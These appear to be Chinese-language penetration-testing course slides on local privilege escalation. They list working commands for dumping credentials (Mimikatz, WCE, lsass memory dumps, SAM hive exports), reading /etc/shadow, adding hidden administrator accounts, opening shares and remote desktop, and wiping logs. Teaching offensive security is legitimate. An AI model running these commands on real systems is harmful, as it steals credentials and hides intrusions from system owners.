



# 渗透测试工程师技术实战课



# 主机提权



## ● 本地提权简介

- 已实现本地低权限账号登录
  - 获得账号密码
  - 远程溢出
- 如何使得系统获取更高权限
  - 进一步对目标进行控制
- 系统账号之间的权限隔离
  - 用户账号
  - 系统服务账号





## ● 本地提权简介

- Windows

- User
- Administrator
- System

- Linux

- User
- Root



## ● 本地提权

### ● ADMIN提权为SYSTEM

- 系统计划任务
- 采用服务的方式去提权
- 利用漏洞
- 提权—Psexec
- 进程注入 pinjector.exe



## 密码获取提权



C:\WINDOWS\system32\config\SAM





## ● 密码获取提权

- WCE(Windows Credential Editor) <https://github.com/xymnal/wce>
  - `wce.exe -lv`
  - `wce.exe -g/w`
- Mimikatz <https://github.com/gentilkiwi/mimikatz/releases>
  - `privilege::debug`
  - `sekurlsa::logonpasswords`
  - `Lsadump::sam`



## ● 密码获取提权

- ProcDump 导出本地数据（免杀）

- <https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump>

- procdump.exe -accepteula -ma lsass.exe lsass.dmp(文件大)

- Reg导出注册表

- reg save hklm\sam sam.hive

- reg save hklm\system system.hive

- reg save hklm\security security.hive





## ● 收集敏感信息

### ● Linux

- /etc/resolv.conf
- /etc/passwd
- /etc/shadow
- whoami
- Ifconfig -a, iptables -nL
- log, history, ssh



## ● 收集敏感信息

### ● windows

- ipconfig /all,ipconfig /displaydns,netstat -bnao,systeminfo
- netsh firewall show state
- net localgroup administrators username /add
- net group "Domain Controllers" /domain
- net share name\$=C:\ /unlimited
- net user username /active:yes/domain





## ● 收集敏感信息

- WMIC (Windows Management Instrumentation Command-Line, Windows管理工具命令行), 因为它是Windows最有用的命令行工具
- `wmic nicconfig get ipaddress,macaddress`
- `wmic computersystem get username`
- `wmic process get caption,executablepath,commandline`
- `wmic process where name="calc.exe" call terminate`
- `wmic os get name,servicepackmajorversion`
- `wmic product get name,version`
- `wmic product where name="name" call uninstall /nointeractive`
- `wmic /node: "machinename" path Win32_TerminalServiceSetting where AllowTSCConnections= "0" call SetAllowTSCConnections "1"`



## ● 清除痕迹/隐藏

- 禁止在登陆界面显示新建账号
  - REG ADD "HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList" /v uname /T REG\_DWORD /D 0
- del %WINDIR%\\*.log /a/s/q/f
- History
- 日志清除





The image features a central figure of a person wearing a black hoodie, with their right hand pressed against their forehead in a gesture of stress or concern. The background is a vibrant blue digital landscape. It includes a glowing globe on the right side, a network of interconnected nodes and lines, and several padlock icons scattered throughout, symbolizing cybersecurity or digital threats. The overall aesthetic is high-tech and futuristic.

谢谢观赏